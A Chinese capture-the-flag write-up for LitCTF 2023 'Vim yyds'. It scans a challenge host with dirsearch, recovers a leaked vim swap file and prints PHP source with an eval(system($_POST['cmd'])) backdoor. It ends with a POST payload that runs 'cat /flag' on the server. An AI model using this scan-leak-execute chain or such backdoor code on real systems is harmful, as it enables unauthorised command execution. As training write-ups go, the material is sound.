[LitCTF 2023]Vim yyds wp
题目页面如下:
搜索一番,没有发现任何信息。题目描述中说到了源码泄露,那么先进行目录扫描。
dirsearch 目录扫描
命令:
dirsearch -u "http://node4.anna.nssctf.cn:28588/"
返回结果:
在结果中发现一个 .index.php.swp
文件。
直接访问该文件将其下载下来。
关于 .swp 文件
.swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留。
使用 vim 编辑器恢复 .swp 交换文件
可以参考:VIM学习笔记 交换文件(swap)
自动检索当前目录下的交换文件:
vim -r
因为该文件中的信息显示原文件是在 /d/CTF/LitCTF/vim/index.php
目录下,为了进行后面的操作,我们先创建一个 /d/CTF/LitCTF/vim/index.php
目录。(或许也有其他的方法)
恢复交换文件
vim -r index.php.swp
按照提示操作后,index.php.swp
文件的内容会被恢复到 /d/CTF/LitCTF/vim/index.php
文件中
这里仅展示 index.php.swp
文件中的 PHP 代码部分:
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}
?>
payload
很简单,只需要 POST 传参 password 等于字符串 "Give_Me_Your_Flag" base64 加密后的值即可。
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
拿到 flag :